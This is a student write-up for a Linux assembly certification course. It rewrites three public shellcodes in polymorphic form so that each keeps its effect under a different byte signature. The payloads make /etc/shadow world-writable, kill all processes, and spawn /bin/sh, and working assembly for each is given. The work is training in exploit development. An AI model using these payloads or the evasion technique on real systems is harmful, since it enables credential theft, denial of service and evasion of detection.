Assignment 06

Polymorphic

Saleh Ali Bin Muhaysin

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: **SLAE-1101**

1. Introduction:

In this article, we will take three shellcodes from shell-storm.org and apply a polymorphic on each one of them to generate another shellcode doing the same purpose in another instruction.

2. chmod 0777 /etc/shadow:

This shellcode should change the mode of the file **/etc/shadow** to **0777** (to do this you should run the shellcode in **sudo** permission). The link for this shellcode is http://shell-storm.org/shellcode/files/shellcode-875.php and the original shellcode length is **51** bytes.

First, instead assign the eax to ebx then xor eax with the ebx, we used the xor with itself directly.

```
;mov ebx, eax
;xor eax, ebx
xor eax, eax
```

In the next instruction used to store the **/etc/shadow** in the stack. The original code used **mov** with **esp** register to store in the stack, instead we used **push** instruction to store in stack. The original used **add** instruction to as obfuscated for only the first 4 bytes, instead we used the xor for all bytes with 0x01. Then to point to the address of the beginning of the file path, the original code used **sub** instruction for **esp** register then stored the result in **ebx**, but since our code used **push** instruction we didn't need the **sub** instruction.

```
;mov esi, 0x563a1f3e
;add esi, 0x21354523    ; esi = woda 0x776F6461
;mov dword [esp-4], esi
;mov dword [esp-8], 0x68732f2f  ; hs//
;mov dword [esp-12], 0x6374652f ; cte/

; changed file path from /etc//shadow -> \x00/etc/shadow
; thte last \x01 indecator of end the loop

mov ecx, 0x01010101
mov ebx, 0x766e6560
xor ebx, ecx
push dword ebx
mov ebx, 0x69722e62
xor ebx, ecx
push dword ebx
mov ebx, 0x75642e2e
xor ebx, ecx
push dword ebx

;sub esp, 12    ; esp => /etc//shadow
;mov    ebx,esp
mov ebx,esp
```

Then next, the original code will call the system call chmod where eax=**0xf** and ebx=**esp**, and ecx= **0x1ff**, instead of that we take a long way, first the al will be 0xf as it is but changed the place of assignment, the assign the eax to ecx (now ecx = **0x0000000f**), then increment ch (ecx = **0x0000010f**) then apply or instruction on cl with 0xf0 (ecx = **0x000001ff** which is the desired value), and then perform int **0x80** normally.

```
;push word 0x1ff
;pop cx
mov al, 0xf     ; __NR_chmod
mov ecx, eax
inc ch
or cl, 0xf0     ; ecx = 0777

;mov al,0xf     ; __NR_chmod
int 0x80
```

In the end, we added another code not exists in the original code to exit with no segmentation fault error.

```
; add to exit normally (avoid segmentation fault)
xor eax,eax
mov al,1
int 0x80
```

3. Kill all processes:

This shellcode will kill all existing processes using the kill system call (sysacall number **37**) with PID = -1 and signal **SIGKILL**. The link for this shellcode in shell-storm is http://shell-storm.org/shellcode/files/shellcode-564.php.

Here instead of assign the value **37** directly to **al**, I assigned the cl to 9 then assigned the value of cl to al and added 28 to al which mean al now equal 37. And, instead of using push-pop to assign -1 to ebx, I used the mov instruction directly.

```
;         mov al, 37
;         push byte -1
;         pop ebx
;         mov cl, 9
          mov cl, 9
          mov al, cl
          add al, 28
          mov ebx, -1
```

4. shellcode execve /bin/sh:

This shellcode will execute the /bin/sh using execve system call. The link for this shellcode in shell--storm is http://shell-storm.org/shellcode/files/shellcode-752.php.

First, in the original shellcode it cleared the **ecx** register then multiply it, which will always give the same result, so I didn't use the **mul** instruction. The file path name didn't change. For the system call number for **execve** (11) I used the value **0x2b** and then used **and** instruction with **0x0f** which will clear the first hex digit and the remaining is **0x0b** which is the system call number 11.

```
          ;xor ecx, ecx
          ;mul ecx
          xor ecx, ecx
           push ecx
           push 0x68732f2f    ;; hs//
           push 0x6e69622f    ;; nib/
           mov ebx, esp
;          mov al, 11
           mov al, 0x2b
           and al, 0x0f ; result 0x0b
           int 0x80
```